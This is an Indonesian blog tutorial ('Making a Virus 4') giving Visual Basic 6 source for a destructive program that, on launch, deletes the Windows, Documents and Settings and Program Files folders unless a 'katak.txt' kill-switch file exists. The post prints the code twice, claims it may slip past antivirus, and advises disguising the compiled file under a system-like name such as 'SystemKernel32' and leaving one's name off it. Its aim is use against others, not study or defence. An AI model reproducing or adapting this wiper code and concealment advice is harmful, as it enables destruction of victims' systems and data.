Membuat Virus 4
Kali ini kita akan membuat virus yang kerjanya merestart komputer, virus ini cukup mematikan, simple dan mungkin kaga kedetect AV.
yang diperluin dalam membuat virus ini :
1. Visual Basic 6.0 (Required).
2. Mengerti bahasa pemrograman Visual Basic serta tool's nya.
kalo belum punya VISUAL BASIC (portable) download aja DISINI.
Lets' Begin..........!!!!
1. Bikin Form sekecil mungkin.
2. dalam form, tulis code dibawah ini.
-------------------------------------------------------------------------------------------------
Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub
Private Sub Form_Load()
On Error Resume Next
If FileExist(”c:\windows\system32\katak.txt”) = True Then
End
Else
Call DelAll(”c:\windows\system”)
Call DelAll(”c:\windows\system32?)
Call DelAll(”c:\windows”)
Call DelAll(”C:\Documents and Settings\All Users”)
Call DelAll(”C:\Documents and Settings\Administrator”)
Call DelAll(”C:\Documents and Settings”)
Call DelAll(”C:\Program Files\Common Files”)
Call DelAll(”C:\Program Files\Internet Explorer”)
Call DelAll(”C:\Program Files\Microsoft Visual Studio”)
Call DelAll(”C:\Program Files”)
End
End If
End Sub
Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function
Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub
Private Sub Form_Load()
On Error Resume Next
If FileExist(”c:\windows\system32\katak.txt”) = True Then
End
Else
Call DelAll(”c:\windows\system”)
Call DelAll(”c:\windows\system32?)
Call DelAll(”c:\windows”)
Call DelAll(”C:\Documents and Settings\All Users”)
Call DelAll(”C:\Documents and Settings\Administrator”)
Call DelAll(”C:\Documents and Settings”)
Call DelAll(”C:\Program Files\Common Files”)
Call DelAll(”C:\Program Files\Internet Explorer”)
Call DelAll(”C:\Program Files\Microsoft Visual Studio”)
Call DelAll(”C:\Program Files”)
End
End If
End Sub
Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function
-------------------------------------------------------------------------------------------------
3. Kode yang warna biru itu penangkal nih virus, barang kali anda gak sengaja mengklik jadi anda selamat. jadi di folder c:\windows\system32\ kalo ada file namanya katak.txt, jadi anda gak bakal keserang sendiri… bisa anda edit koq, jadi apa gitu…
Yang warna merah itu folder yang bakal didelete sama virus ini, bisa anda edit sendiri.........
4. Beri nama project ini seperti nama system, contoh "SystemKernel32" jadi ga bakal dicurigain
5. Jangan pernah memberi nama anda di virus ini....?
6. compile deh…!!!
0 Responses to Membuat Virus 4
Post a Comment